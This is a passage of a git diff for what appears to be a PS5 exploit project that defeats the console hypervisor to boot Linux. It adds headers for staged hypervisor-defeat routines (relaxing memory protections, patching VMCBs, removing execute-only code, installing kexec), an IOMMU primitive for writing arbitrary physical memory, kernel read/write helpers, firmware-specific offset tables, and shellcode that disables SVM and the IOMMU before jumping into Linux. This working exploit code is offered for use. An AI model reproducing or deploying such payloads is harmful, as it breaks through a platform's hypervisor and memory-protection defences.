*gpu_get_ctx(void);++#endif\ No newline at end of filediff --git a/include/hv_defeat.h b/include/hv_defeat.hnew file mode 100644index 0000000..0d11ef3--- /dev/null+++ b/include/hv_defeat.h@@ -0,0 +1,19 @@+#ifndef HV_DEFEAT_H+#define HV_DEFEAT_H++#include "iommu.h"+#include <stdint.h>++int hv_defeat(void);+int stage1_tmr_relax(void);+int stage2_find_vmcbs(void);+uint64_t get_vmcb(int core);+int iommu_selftest(void);+int stage3_patch_vmcbs(void);+int stage4_force_vmcb_reload(void);+int stage5_remove_xotext(void);+int stage6_kernel_pmap_invalidate_all(void);+int stage7_install_kexec(void);+int kexec(uint64_t fptr);++#endif\ No newline at end of filediff --git a/include/iommu.h b/include/iommu.hnew file mode 100644index 0000000..47a940c--- /dev/null+++ b/include/iommu.h@@ -0,0 +1,46 @@+/*** Source: ps5-hen by cragson ***/++#ifndef IOMMU_H+#define IOMMU_H++#include <stdint.h>++// Command buffer MMIO offsets+#define IOMMU_MMIO_CB_HEAD 0xa000+#define IOMMU_MMIO_CB_TAIL 0xa008++// Queue constants+#define IOMMU_CB_SIZE 0x2000+#define IOMMU_CB_MASK (IOMMU_CB_SIZE - 1)+#define IOMMU_CMD_ENTRY_SIZE 0x10++// IOMMU softc field offsets+#define IOMMU_SC_MMIO_VA 0x40+#define IOMMU_SC_CB2_PTR 0x78+#define IOMMU_SC_CB3_PTR 0x80+#define IOMMU_SC_EB_PTR 0x60b90++typedef struct _iommu_ctx {+ uint64_t cb2_base; // kernel VA of command buffer 2 (hv terminology)+ uint64_t cb3_base; // kernel VA of command buffer 3 (hv terminology)+ uint64_t eb_base; // kernel VA of event buffer+ uint64_t mmio_va; // DMAP VA of IOMMU MMIO base+} iommu_ctx;++extern iommu_ctx iommu_store;+extern iommu_ctx *iommu;++int iommu_init(void);++// Submit a single 16-byte command and wait for completion+void iommu_submit_cmd(const void *cmd);+// Write 8 bytes to a physical address using IOMMU completion wait store+void iommu_write8_pa(uint64_t pa, uint64_t val);++// Write 4 bytes to a physical address+void iommu_write4_pa(uint64_t pa, uint32_t val);++// Write arbitrary length to a physical address in 8-byte chunks+void iommu_write_pa(uint64_t pa, const void *data, uint32_t len);++#endif\ No newline at end of filediff --git a/include/loader.h b/include/loader.hnew file mode 100644index 0000000..b8b91e8--- /dev/null+++ b/include/loader.h@@ -0,0 +1,11 @@+#include "utils.h"+#include <stdint.h>++static uint64_t alloc_page(void);+static void install_page(uintptr_t pml4, vm_offset_t va, vm_paddr_t pa,+ int bits);+void pte_store(uintptr_t ptep, uint64_t pte);+static int read_file(const char *path, void *buf, size_t bufsize);+static void trim_newline(char *s);+static size_t fetch_file(int port, void *buf, size_t bufsize);+int fetch_linux(struct linux_info *info);diff --git a/include/main.h b/include/main.hnew file mode 100644index 0000000..5a78268--- /dev/null+++ b/include/main.h@@ -0,0 +1,8 @@+#ifndef MAIN_H+#define MAIN_H++int main(void);+int setup_env(void);+int prepare_resume(void);++#endif\ No newline at end of filediff --git a/include/offsets.h b/include/offsets.hnew file mode 100644index 0000000..c1a91df--- /dev/null+++ b/include/offsets.h@@ -0,0 +1,51 @@+#ifndef OFFSETS_H+#define OFFSETS_H++#include <stdint.h>++typedef struct _offset_list {+ uint64_t PMAP_STORE;+ uint64_t HV_BSS_OFF; // Needed for 1.xx and 2.xx+ uint64_t HV_VCPU; // Needed for 1.xx and 2.xx+ uint64_t HV_VCPU_CPUID; // Needed for 1.xx and 2.xx+ uint64_t HV_VCPU_ARRAY_OFF; // Needed for 1.xx and 2.xx+ uint64_t HV_VCPU_STRIDE; // Needed for 1.xx and 2.xx+ uint64_t HV_VCPU_VMCB_PTR; // Needed for 1.xx and 2.xx+ uint64_t KERNEL_CODE_CAVE;+ uint64_t KERNEL_DATA_CAVE;+ uint64_t IOMMU_SOFTC;+ uint64_t VMSPACE_VM_VMID;+ uint64_t VMSPACE_VM_PMAP;+ uint64_t PMAP_PM_PML4;+ uint64_t PMAP_PM_CR3;+ uint64_t DATA_BASE_GVMSPACE;+ uint64_t HOOK_ACPI_WAKEUP_MACHDEP;+ uint64_t FUN_PRINTF;+ uint64_t FUN_VA_TO_PA;+ uint64_t FUN_HV_IOMMU_SET_BUFFERS;+ uint64_t FUN_HV_IOMM_WAIT_COMPLETION;+ uint64_t FUN_SMP_RENDEZVOUS;+ uint64_t FUN_SMP_NO_RENDEVOUS_BARRIER;+ uint64_t HV_HANDLE_VMEXIT_PA;+ uint64_t HV_CODE_CAVE_PA;+ uint64_t HV_UART_OVERRIDE_PA;+ uint64_t G_VBIOS;+ uint64_t FUN_TRANSMITTER_CONTROL;+ uint64_t FUN_MP3_INITIALIZE;+ uint64_t FUN_MP3_INVOKE;+ uint64_t KERNEL_UART_OVERRIDE;+ uint64_t KERNEL_DEBUG_PATCH;+ uint64_t KERNEL_CFI_CHECK;+} offset_list;++extern offset_list off_0300;+extern offset_list off_0310;+extern offset_list off_0320;+extern offset_list off_0321;+extern offset_list off_0400;+extern offset_list off_0402;+extern offset_list off_0403;+extern offset_list off_0450;+extern offset_list off_0451;++#endif\ No newline at end of filediff --git a/include/tmr.h b/include/tmr.hnew file mode 100644index 0000000..55f9214--- /dev/null+++ b/include/tmr.h@@ -0,0 +1,19 @@+#ifndef TMR_H+#define TMR_H++#include <stdint.h>++#define ECAM_B0D18F2 dmap + (0xF0000000ULL + 0x18ULL * 0x8000 + 2 * 0x1000)+#define TMR_INDEX_OFF 0x80+#define TMR_DATA_OFF 0x84++#define TMR_BASE(n) ((n) * 0x10 + 0x00)+#define TMR_LIMIT(n) ((n) * 0x10 + 0x04)+#define TMR_CONFIG(n) ((n) * 0x10 + 0x08)+#define TMR_REQUESTORS(n) ((n) * 0x10 + 0x0C)+#define TMR_CFG_PERMISSIVE 0x3F07++uint32_t tmr_read(uint32_t addr);+void tmr_write(uint32_t addr, uint32_t val);++#endif\ No newline at end of filediff --git a/include/utils.h b/include/utils.hnew file mode 100644index 0000000..ee3855a--- /dev/null+++ b/include/utils.h@@ -0,0 +1,162 @@+#ifndef UTILS_H+#define UTILS_H++#include "offsets.h"+#include <ps5/kernel.h>+#include <stdarg.h>+#include <stdint.h>+#include <string.h>++int sceKernelGetCurrentCpu();+int sceKernelSendNotificationRequest(int, void *, size_t, int);++typedef struct _sysent {+ uint32_t n_arg;+ uint32_t pad;+ uint64_t sy_call;+ uint64_t sy_auevent;+ uint64_t sy_systrace_args;+ uint32_t sy_entry;+ uint32_t sy_return;+ uint32_t sy_flags;+ uint32_t sy_thrcnt;+} sysent;++typedef struct __flat_pmap {+ uint64_t mtx_name_ptr;+ uint64_t mtx_flags;+ uint64_t mtx_data;+ uint64_t mtx_lock;+ uint64_t pm_pml4;+ uint64_t pm_cr3;+} flat_pmap;++struct linux_info {+ uintptr_t bzimage;+ size_t bzimage_size;+ uintptr_t initrd;+ size_t initrd_size;+ size_t vram_size;+ char cmdline[2048];+ uintptr_t linux_info; // PA of linux_info+};++/** These vars are global for the payload to simplify things */+extern offset_list env_offset; // Defined on utils.c+extern uint64_t ktext; // Defined on utils.c+extern uint64_t kdata; // Defined on utils.c+extern uint64_t dmap; // Defined on utils.c+extern uint64_t cr3; // Defined on utils.c+extern uint32_t fw; // Defined on utils.c+extern uint64_t vmcb_pa[16]; // Defined on hv_defeat.c+extern struct linux_info linux_i; // Declared on main.c++static inline void kwrite(uint64_t ka, void *src, uint64_t len) {+ kernel_copyin(src, ka, len);+}++static inline void kwrite64(uint64_t dst, uint64_t val) {+ kernel_copyin(&val, dst, 8);+}++static inline void kwrite32(uint64_t dst, uint32_t val) {+ kernel_copyin(&val, dst, 4);+}++static inline void kwrite8(uint64_t dst, uint8_t val) {+ kernel_copyin(&val, dst, 1);+}++static inline void kread(uint64_t ka, void *dst, uint64_t len) {+ kernel_copyout(ka, dst, len);+}++static inline uint64_t kread64(uint64_t src) {+ uint64_t val;+ kernel_copyout(src, &val, 8);+ return val;+}++static inline uint32_t kread32(uint64_t src) {+ uint32_t val;+ kernel_copyout(src, &val, 4);+ return val;+}++static inline uint8_t kread8(uint64_t src) {+ uint8_t val;+ kernel_copyout(src, &val, 1);+ return val;+}++int set_offsets(void);+int init_global_vars(void);+uint64_t get_offset_va(uint64_t offset);++// Defines for Page management+#define ALIGN_UP(size, align) (((size) + (align) - 1) & ~((align) - 1))+#define INKERNEL(va) (va & 0xFFFF000000000000)++enum page_bits {+ P = 0,+ RW,+ US,+ PWT,+ PCD,+ A,+ D,+ PS,+ G,+ XO = 58,+ PK = 59,+ NX = 63+};++#define PG_B_P (1ULL << P)+#define PG_B_RW (1ULL << RW)+#define PAGE_P(x) (x & (1ULL << P))+#define PAGE_RW(x) (x & (1ULL << RW))+#define PAGE_PS(x) (x & (1ULL << PS))+#define PAGE_XO(x) (x & (1ULL << XO))+#define PAGE_CLEAR_XO(x) (x &= ~(1ULL << XO))+#define PAGE_CLEAR_G(x) (x &= ~(1ULL << G))+#define PAGE_SET_RW(x) (x |= (1ULL << RW))+#define PAGE_PA(x) (x & 0x000FFFFFFFFFF000ULL)+#define P_SIZE(l) ((l == 1) ? (1ULL << 30) : (1ULL << 21))++#define pmap_pml4e_index(va) ((va >> 39) & 0x1FF)+#define pmap_pdpe_index(va) ((va >> 30) & 0x1FF)+#define pmap_pde_index(va) ((va >> 21) & 0x1FF)+#define pmap_pte_index(va) ((va >> 12) & 0x1FF)++uint64_t va_to_pa_user(uint64_t va);+uint64_t va_to_pa_kernel(uint64_t va);+uint64_t va_to_pa_custom(uint64_t va, uint64_t cr3_custom);+uint64_t pa_to_dmap(uint64_t pa);+void page_chain_set_rw(uint64_t va);+uint64_t page_remove_global(uint64_t va);++uint64_t getpmap(uint64_t proc_ptr);+uint64_t get_pml4(uint64_t pmap);++int pin_to_core(int n);+int pin_to_first_available_core(void);+void unpin(void);+static inline void notify(uint8_t *msg) {+ struct {+ char pad[45];+ char msg[3075];+ } req;+ uint64_t len =+ strlen(msg) < (sizeof(req.msg) - 1) ? strlen(msg) : (sizeof(req.msg) - 1);+ memcpy(req.msg, msg, len);+ sceKernelSendNotificationRequest(0, &req, sizeof(req), 0);+}++#if DEBUG+#define DEBUG_PRINT(fmt, ...) printf(fmt, ##__VA_ARGS__)+#else+#define DEBUG_PRINT(fmt, ...)+#endif++#endifdiff --git a/shellcode_hypervisor/Makefile b/shellcode_hypervisor/Makefilenew file mode 100644index 0000000..3d6fc1e--- /dev/null+++ b/shellcode_hypervisor/Makefile@@ -0,0 +1,32 @@+ifndef PS5_PAYLOAD_SDK+ PS5_PAYLOAD_SDK = /opt/ps5-payload-sdk/+endif++# 1. Variables+CC = gcc+LD = ld+CFLAGS = -O2 -fno-stack-protector -ffreestanding -nostdlib -fcf-protection=none -I$(PS5_PAYLOAD_SDK)/target/include+LDFLAGS = -T linker.ld+TARGET = shellcode_hypervisor.elf+TEXT_BIN = shellcode_hypervisor.bin+dump = shellcode_hypervisor.h++SRC = main.c utils.c boot_linux.c+OBJ = $(SRC:.c=.o)++all: $(dump)++$(TARGET): $(OBJ)+ $(CC) $(CFLAGS) $(LDFLAGS) $(OBJ) -o $(TARGET)++%.o: %.c+ $(CC) $(CFLAGS) -c $< -o $@++$(TEXT_BIN): $(TARGET)+ objcopy -O binary -j .shell_code $(TARGET) $(TEXT_BIN)++clean:+ rm -f $(OBJ) $(TARGET) $(TEXT_BIN) $(dump)++$(dump): $(TEXT_BIN)+ python3 bin_to_c_hypervisor.py $(TEXT_BIN)\ No newline at end of filediff --git a/shellcode_hypervisor/bin_to_c_hypervisor.py b/shellcode_hypervisor/bin_to_c_hypervisor.pynew file mode 100644index 0000000..bb38d9c--- /dev/null+++ b/shellcode_hypervisor/bin_to_c_hypervisor.py@@ -0,0 +1,46 @@+import sys+import os++def create_shellcode_header(input_file):+ if not os.path.exists(input_file):+ print(f"Error: {input_file} not found.")+ return++ # Read binary data_text+ with open(input_file, "rb") as f:+ data_text = f.read()++ # Hardcoded output name+ output_name = "shellcode_hypervisor.h"+ array_name = "shellcode_hypervisor"++ with open(output_name, "w") as f:+ f.write(f"// Generated from {input_file}\n")+ f.write(f"#ifndef SHELLCODE_HV_H\n")+ f.write(f"#define SHELLCODE_HV_H\n\n")+ f.write(f"#include <unistd.h>\n\n")++ f.write(f"uint8_t {array_name}[] = {{\n ")++ for i, byte in enumerate(data_text):+ f.write(f"0x{byte:02X}")++ if i < len(data_text) - 1:+ f.write(", ")++ # New line every 12 bytes+ if (i + 1) % 12 == 0:+ f.write("\n ")++ f.write(f"\n}};\n\n")+ f.write(f"uint64_t {array_name}_len = {len(data_text)};\n\n")++ f.write(f"#endif // SHELLCODE_HV_H\n")++ print(f"Done! Created {output_name} ({len(data_text)} bytes)")++if __name__ == "__main__":+ if len(sys.argv) < 2:+ print("Usage: python bin_to_c_hypervisor.py <shellcode.bin>")+ else:+ create_shellcode_header(sys.argv[1])\ No newline at end of filediff --git a/shellcode_hypervisor/boot_linux.c b/shellcode_hypervisor/boot_linux.cnew file mode 100644index 0000000..6e45dcf--- /dev/null+++ b/shellcode_hypervisor/boot_linux.c@@ -0,0 +1,173 @@+#include "boot_linux.h"+#include "../include/config.h"+#include "linux.h"+#include "utils.h"+#include <stddef.h>+#include <stdint.h>++struct linux_info {+ uintptr_t bzimage;+ size_t bzimage_size;+ uintptr_t initrd;+ size_t initrd_size;+ size_t vram_size;+ char cmdline[2048];+};++static struct linux_info info;++static volatile int exited_cpus = 0;++static void configure_vram(uint64_t fb_start, uint64_t vram_start,+ uint64_t vram_size) {+ uint64_t vram_end = vram_start + vram_size - 1;+ uint64_t fb_top = fb_start + vram_size - 1;++ *(uint32_t *)(AMDGPU_MMIO_BASE + RCC_CONFIG_MEMSIZE) = vram_size >> 20;++ *(uint32_t *)(AMDGPU_MMIO_BASE + GCMC_VM_FB_OFFSET) = vram_start >> 24;++ *(uint32_t *)(AMDGPU_MMIO_BASE + GCMC_VM_LOCAL_HBM_ADDRESS_START) =+ vram_start >> 24;+ *(uint32_t *)(AMDGPU_MMIO_BASE + GCMC_VM_LOCAL_HBM_ADDRESS_END) =+ vram_end >> 24;+ *(uint32_t *)(AMDGPU_MMIO_BASE + GCMC_VM_FB_LOCATION_BASE) = fb_start >> 24;+ *(uint32_t *)(AMDGPU_MMIO_BASE + GCMC_VM_FB_LOCATION_TOP) = fb_top >> 24;++ *(uint32_t *)(AMDGPU_MMIO_BASE + MMMC_VM_FB_OFFSET) = vram_start >> 24;+ *(uint32_t *)(AMDGPU_MMIO_BASE + MMMC_VM_LOCAL_HBM_ADDRESS_START) =+ vram_start >> 24;+ *(uint32_t *)(AMDGPU_MMIO_BASE + MMMC_VM_LOCAL_HBM_ADDRESS_END) =+ vram_end >> 24;+ *(uint32_t *)(AMDGPU_MMIO_BASE + MMMC_VM_FB_LOCATION_BASE) = fb_start >> 24;+ *(uint32_t *)(AMDGPU_MMIO_BASE + MMMC_VM_FB_LOCATION_TOP) = fb_top >> 24;++ *(uint32_t *)(AMDGPU_MMIO_BASE + MMHUBBUB_WHITELIST_BASE_ADDR_0) =+ vram_start >> 12;+ *(uint32_t *)(AMDGPU_MMIO_BASE + MMHUBBUB_WHITELIST_TOP_ADDR_0) =+ vram_end >> 12;+ *(uint32_t *)(AMDGPU_MMIO_BASE + DCHUBBUB_WHITELIST_BASE_ADDR_0) =+ vram_start >> 12;+ *(uint32_t *)(AMDGPU_MMIO_BASE + DCHUBBUB_WHITELIST_TOP_ADDR_0) =+ vram_end >> 12;+}++static void append_e820_table(struct boot_params *bp, uint64_t start,+ uint64_t end, uint32_t type) {+ uint8_t idx = bp->e820_entries;+ bp->e820_table[idx].addr = start;+ bp->e820_table[idx].size = end - start;+ bp->e820_table[idx].type = type;+ bp->e820_entries++;+}++static void e820_memory_setup(struct boot_params *bp) {+ append_e820_table(bp, 0x000000000, 0x000001000, E820_TYPE_RESERVED);+ append_e820_table(bp, 0x000001000, 0x000070000, E820_TYPE_RAM);+ append_e820_table(bp, 0x000070000, 0x0000a0000, E820_TYPE_RESERVED);+ append_e820_table(bp, 0x0000a0000, 0x0000c0000, E820_TYPE_RESERVED);+ append_e820_table(bp, 0x0000c0000, 0x000100000, E820_TYPE_RESERVED); // VBIOS+ append_e820_table(bp, 0x000100000, 0x03fffc000, E820_TYPE_RAM);+ append_e820_table(bp, 0x03fffc000, 0x040000000, E820_TYPE_RESERVED);+ append_e820_table(bp, 0x040000000, 0x060000000, E820_TYPE_RAM);+ append_e820_table(bp, 0x060000000, 0x060800000, E820_TYPE_RESERVED); // MP4+ append_e820_table(bp, 0x060800000, 0x060c00000, E820_TYPE_RESERVED); // VCN FW+ append_e820_table(bp, 0x060c00000, 0x062800000, E820_TYPE_RAM);+ append_e820_table(bp, 0x062800000, 0x064800000, E820_TYPE_RESERVED); // HV+ append_e820_table(bp, 0x064800000, 0x064829000, E820_TYPE_RESERVED); // MP3+ append_e820_table(bp, 0x064829000, 0x07f9d0000, E820_TYPE_RAM);+ append_e820_table(bp, 0x07f9d0000, 0x07fd5f000, E820_TYPE_RESERVED);+ append_e820_table(bp, 0x07fd5f000, 0x07fd63000, E820_TYPE_RESERVED);+ append_e820_table(bp, 0x07fd63000, 0x07fd67000, E820_TYPE_RESERVED);+ append_e820_table(bp, 0x07fd67000, 0x07fd6f000, E820_TYPE_NVS);+ append_e820_table(bp, 0x07fd6f000, 0x07fd8f000, E820_TYPE_ACPI);+ append_e820_table(bp, 0x07fd8f000, 0x07fd90000, E820_TYPE_RESERVED);+ append_e820_table(bp, 0x07fd90000, 0x080000000, E820_TYPE_RESERVED);+ append_e820_table(bp, 0x080000000, 0x0c4400000, E820_TYPE_RESERVED);+ append_e820_table(bp, 0x0d0000000, 0x0e0700000, E820_TYPE_RESERVED);+ append_e820_table(bp, 0x0f0000000, 0x0f8000000, E820_TYPE_RESERVED);+ append_e820_table(bp, 0x100000000, VRAM_BASE, E820_TYPE_RAM);+ append_e820_table(bp, VRAM_BASE, 0x470000000, E820_TYPE_RESERVED); // VRAM+ append_e820_table(bp, 0x470000000, 0x47f300000, E820_TYPE_RAM);+ append_e820_table(bp, 0x47f300000, 0x480000000, E820_TYPE_RESERVED);+}++void boot_linux(void) {+ uintptr_t kernel_pa = 0x100000;+ uintptr_t setup_pa = 0x10000;+ uintptr_t cmdline_pa = 0x20000;++ struct boot_params *bzimage_bp = (struct boot_params *)info.bzimage;++ struct boot_params *bp = (struct boot_params *)setup_pa;+ struct setup_header *shdr = &bp->hdr;++ memset(bp, 0, sizeof(struct boot_params));++ memcpy(shdr, &bzimage_bp->hdr, sizeof(struct setup_header));++ e820_memory_setup(bp);++ shdr->hardware_subarch = X86_SUBARCH_PS5;+ shdr->type_of_loader = 0xff;+ shdr->cmd_line_ptr = cmdline_pa;+ shdr->ramdisk_image = info.initrd & 0xffffffff;+ shdr->ramdisk_size = info.initrd_size & 0xffffffff;+ bp->ext_ramdisk_image = info.initrd >> 32;+ bp->ext_ramdisk_size = info.initrd_size >> 32;+ bp->acpi_rsdp_addr = ACPI_RSDP_ADDRESS;++ strcpy((char *)cmdline_pa, info.cmdline);++ size_t setup_size = (shdr->setup_sects + 1) * 512;+ size_t kernel_size = shdr->syssize * 16;++ memcpy((void *)kernel_pa, (void *)(info.bzimage + setup_size), kernel_size);++ // printf("This is kernel_pa: "); print_val64(kernel_pa); printf("\n");+ void (*startup_64)(uint64_t physaddr, struct boot_params *bp) =+ (void *)(kernel_pa + 0x200);+ startup_64(kernel_pa, bp);+}++void entry(void) {++ disable_intr();++ // Set global interrupt flag.+ __asm__ volatile("stgi\n");++ // Clear SVM flag.+ wrmsr(MSR_EFER, rdmsr(MSR_EFER) & ~EFER_SVM);++ // Disable INIT redirection.+ wrmsr(MSR_VM_CR, rdmsr(MSR_VM_CR) & ~VM_CR_R_INIT);++ // Clean up mtrr.+ wrmsr(MSR_MTRR4kBase + 0, 0);++ wrmsr(MSR_MTRR4kBase + 1, 0);++ wrmsr(MSR_MTRRVarBase + 7 * 2 + 1, 0);++ atomic_add_32(&exited_cpus, 1);++ while (atomic_cmpset_32(&exited_cpus, MAXCPU, MAXCPU) == 0)+ ;++ if (get_cpu() != 0) {+ while (1) {+ halt();+ }+ }++ // Disable IOMMU.+ *(volatile uint64_t *)0xfdd80018 &= ~1;++ memcpy(&info, (void *)(cave_linux_info), sizeof(struct linux_info));++ configure_vram(FB_BASE, VRAM_BASE, info.vram_size);++ printf("[*] Booting Linux in bare metal...\n");+ boot_linux();+}diff --git a/shellcode_hypervisor/boot_linux.h b/shellcode_hypervisor/boot_linux.hnew file mode 100644index 0000000..8e4548f--- /dev/null+++ b/shellcode_hypervisor/boot_linux.h@@ -0,0 +1,43 @@++#define MSR_EFER 0xc0000080+#define EFER_SVM (1ULL << 12) // Bit 12: Secure Virtual Machine Enable++// // Virtual Machine Control Register (VM_CR)+#define MSR_VM_CR 0xc0010114+#define VM_CR_R_INIT (1ULL << 1) // Bit 1: Intercept INIT++// // MTRRs (Memory Type Range Registers)+#define MSR_MTRR4kBase 0x00000268 // MSR_MTRRfix4K_C0000 (primer registro 4k)+#define MSR_MTRRVarBase 0x00000200 // MTRR variable base (MSR_MTRRphysBase0)++#define VRAM_BASE (0x470000000 - info.vram_size)++#define FB_BASE 0xf400000000++#define ACPI_RSDP_ADDRESS 0x7fd8e014++#define AMDGPU_MMIO_BASE 0xe0600000++#define RCC_CONFIG_MEMSIZE 0x378c++#define GCMC_VM_FB_OFFSET 0xa5ac+#define GCMC_VM_LOCAL_HBM_ADDRESS_START 0xa5d4+#define GCMC_VM_LOCAL_HBM_ADDRESS_END 0xa5d8+#define GCMC_VM_FB_LOCATION_BASE 0xa600+#define GCMC_VM_FB_LOCATION_TOP 0xa604++#define MMMC_VM_FB_OFFSET 0x6a15c+#define MMMC_VM_LOCAL_HBM_ADDRESS_START 0x6a184+#define MMMC_VM_LOCAL_HBM_ADDRESS_END 0x6a188+#define MMMC_VM_FB_LOCATION_BASE 0x6a1b0+#define MMMC_VM_FB_LOCATION_TOP 0x6a1b4++#define MMHUBBUB_WHITELIST_BASE_ADDR_0 0x24850+#define MMHUBBUB_WHITELIST_TOP_ADDR_0 0x24854+#define DCHUBBUB_WHITELIST_BASE_ADDR_0 0x24878+#define DCHUBBUB_WHITELIST_TOP_ADDR_0 0x2487c++#define MAXCPU 16++void entry(void);+void boot_linux(void);\ No newline at end of filediff --git a/shellcode_hypervisor/linker.ld b/shellcode_hypervisor/linker.ldnew file mode 100644index 0000000..c24a121--- /dev/null+++ b/shellcode_hypervisor/linker.ld@@ -0,0 +1,18 @@+/* linker.ld */+ENTRY(main)++SECTIONS+{+ . = 0x1000; /* 0x1000 to avoid warnings from linker */+ /* Place our custom header first */+ .shell_code :+ {+ *(.entry_point)+ *(.text)+ *(.text.*)+ *(.data*)+ *(.rodata*)+ *(.bss)+ *(.bss.*)+ }+}\ No newline at end of filediff --git a/shellcode_hypervisor/linux.h b/shellcode_hypervisor/linux.hnew file mode 100644index 0000000..5d8d3c1--- /dev/null+++ b/shellcode_hypervisor/linux.h@@ -0,0 +1,114 @@+/*+ * Copyright (C) 2026 Andy Nguyen+ *+ * This software may be modified and distributed under the terms+ * of the MIT license. See the LICENSE file for details.+ */++#ifndef __LINUX_H__+#define __LINUX_H__++#include <stdint.h>++#define X86_SUBARCH_PS5 5++enum e820_type {+ E820_TYPE_RAM = 1,+ E820_TYPE_RESERVED = 2,+ E820_TYPE_ACPI = 3,+ E820_TYPE_NVS = 4,+ E820_TYPE_UNUSABLE = 5,+ E820_TYPE_PMEM = 7,+ E820_TYPE_PRAM = 12,+ E820_TYPE_SOFT_RESERVED = 0xefffffff,+};++struct boot_e820_entry {+ uint64_t addr;+ uint64_t size;+ uint32_t type;+} __attribute__((packed));++struct setup_header {+ uint8_t setup_sects;+ uint16_t root_flags;+ uint32_t syssize;+ uint16_t ram_size;+ uint16_t vid_mode;+ uint16_t root_dev;+ uint16_t boot_flag;+ uint16_t jump;+ uint32_t header;+ uint16_t version;+ uint32_t realmode_swtch;+ uint16_t start_sys_seg;+ uint16_t kernel_version;+ uint8_t type_of_loader;+ uint8_t loadflags;+ uint16_t setup_move_size;+ uint32_t code32_start;+ uint32_t ramdisk_image;+ uint32_t ramdisk_size;+ uint32_t bootsect_kludge;+ uint16_t heap_end_ptr;+ uint8_t ext_loader_ver;+ uint8_t ext_loader_type;+ uint32_t cmd_line_ptr;+ uint32_t initrd_addr_max;+ uint32_t kernel_alignment;+ uint8_t relocatable_kernel;+ uint8_t min_alignment;+ uint16_t xloadflags;+ uint32_t cmdline_size;+ uint32_t hardware_subarch;+ uint64_t hardware_subarch_data;+ uint32_t payload_offset;+ uint32_t payload_length;+ uint64_t setup_data;+ uint64_t pref_address;+ uint32_t init_size;+ uint32_t handover_offset;+ uint32_t kernel_info_offset;+} __attribute__((packed));++#define E820_MAX_ENTRIES_ZEROPAGE 128++struct boot_params {+ uint8_t screen_info[0x40]; // 0x000+ uint8_t apm_bios_info[0x14]; // 0x040+ uint8_t _pad2[4]; // 0x054+ uint64_t tboot_addr; // 0x058+ uint8_t ist_info[0x10]; // 0x060+ uint64_t acpi_rsdp_addr; // 0x070+ uint8_t _pad3[8]; // 0x078+ uint8_t hd0_info[16]; // 0x080+ uint8_t hd1_info[16]; // 0x090+ uint8_t sys_desc_table[0x10]; // 0x0a0+ uint8_t olpc_ofw_header[0x10]; // 0x0b0+ uint32_t ext_ramdisk_image; // 0x0c0+ uint32_t ext_ramdisk_size; // 0x0c4+ uint32_t ext_cmd_line_ptr; // 0x0c8+ uint8_t _pad4[112]; // 0x0cc+ uint32_t cc_blob_address; // 0x13c+ uint8_t edid_info[0x80]; // 0x140+ uint8_t efi_info[0x20]; // 0x1c0+ uint32_t alt_mem_k; // 0x1e0+ uint32_t scratch; // 0x1e4+ uint8_t e820_entries; // 0x1e8+ uint8_t eddbuf_entries; // 0x1e9+ uint8_t edd_mbr_sig_buf_entries; // 0x1ea+ uint8_t kbd_status; // 0x1eb+ uint8_t secure_boot; // 0x1ec+ uint8_t _pad5[2]; // 0x1ed+ uint8_t sentinel; // 0x1ef+ uint8_t _pad6[1]; // 0x1f0+ struct setup_header hdr; // 0x1f1+ uint8_t _pad7[0x290 - 0x1f1 - sizeof(struct setup_header)];+ uint32_t edd_mbr_sig_buffer[16]; // 0x290+ struct boot_e820_entry e820_table[E820_MAX_ENTRIES_ZEROPAGE]; // 0x2d0+ uint8_t _pad8[48]; // 0xcd0+ uint8_t eddbuf[0x1ec]; // 0xd00+ uint8_t _pad9[276]; // 0xeec+} __attribute__((packed));++#endifdiff --git a/shellcode_hypervisor/main.c b/shellcode_hypervisor/main.cnew file mode 100644index 0000000..4028c1e--- /dev/null+++ b/shellcode_hypervisor/main.c@@ -0,0 +1,37 @@+#include "main.h"+#include "../include/config.h"+#include "boot_linux.h"+#include "utils.h"+#include <cpuid.h>+#include <machine/atomic.h>+#include <machine/cpufunc.h>+#include <stdint.h>+#include <sys/types.h>++__attribute__((section(".entry_point"), naked)) uint32_t main(void) {++ // We enter this function after CR3 was updated to 1:1 mapping+ // We need to point RSP/RBP to a good known valid address+ uint32_t ebax, ebx, ecx, edx;+ uint32_t cpu_id;++ __asm__ volatile("cpuid"+ : "=a"(ebax), "=b"(ebx), "=c"(ecx), "=d"(edx)+ : "a"(1));++ cpu_id = (ebx >> 24) & 0xFF;++ // We point to a location after the main linux boot code+ // Each CPU should have a different location+ uintptr_t new_rsp =+ (uintptr_t)hv_base_rsp + ((uint64_t)(cpu_id)*hv_stack_size);++ // WARNING: This invalidates current local variables+ __asm__ volatile("movq %0, %%rsp \n\t"+ "movq %%rsp, %%rbp \n\t"+ :+ : "r"(new_rsp)+ : "rsp", "rbp", "memory");++ entry();+}\ No newline at end of filediff --git a/shellcode_hypervisor/main.h b/shellcode_hypervisor/main.hnew file mode 100644index 0000000..34e7b5b--- /dev/null+++ b/shellcode_hypervisor/main.h@@ -0,0 +1,3 @@+#include "shellcode_hypervisor_args.h"+#include <stdarg.h>+#include <stdint.h>diff --git a/shellcode_hypervisor/shellcode_hypervisor_args.h b/shellcode_hypervisor/shellcode_hypervisor_args.hnew file mode 100644index 0000000..a3a89e6--- /dev/null+++ b/shellcode_hypervisor/shellcode_hypervisor_args.h@@ -0,0 +1,9 @@+// This file is shared between kernel shellcode and hypervisor shellcode++#include <stdint.h>++typedef struct {+ uint64_t bzimage_pa; // Already relocated by Kernel shellcode+ uint64_t initrd_pa; // Already relocated by Kernel shellcode+ uint64_t linux_info_pa; // Already relocated by Kernel shellcode+} shellcode_hypervisor_args;\ No newline at end of filediff --git a/shellcode_hypervisor/utils.c b/shellcode_hypervisor/utils.cnew file mode 100644index 0000000..2c0d2d7--- /dev/null+++ b/shellcode_hypervisor/utils.c@@ -0,0 +1,114 @@+#include "utils.h"+#include "shellcode_hypervisor_args.h"+#include <cpuid.h>++extern shellcode_hypervisor_args args;++__attribute__((noinline, optimize("O0"))) uint32_t putc_uart(uint8_t tx_byte) {+ volatile uint32_t *uart_tx = 0xc1010104ULL;+ volatile uint32_t *uart_busy = 0xc101010cULL;+ uint64_t timeout = 0xFFFFFFFF;+ do {+ timeout--;+ if (timeout == 0)+ break;+ } while (((*uart_busy) & 0x20) == 0);++ if (timeout == 0)+ return -1;++ *uart_tx = (uint32_t)tx_byte & 0xFF;+ return 0;+}++// Variable for val to hex+uint8_t hex_val[17];++__attribute__((noinline, optimize("O0"))) uint8_t *+u64_to_hex_custom(uint64_t val, uint8_t *dest) {++ const uint8_t hex_chars[] = "0123456789abcdef";+ dest[16] = '\0';++ for (int i = 15; i >= 0; i--) {+ dest[i] = hex_chars[val & 0xf];+ val >>= 4;+ }+ return 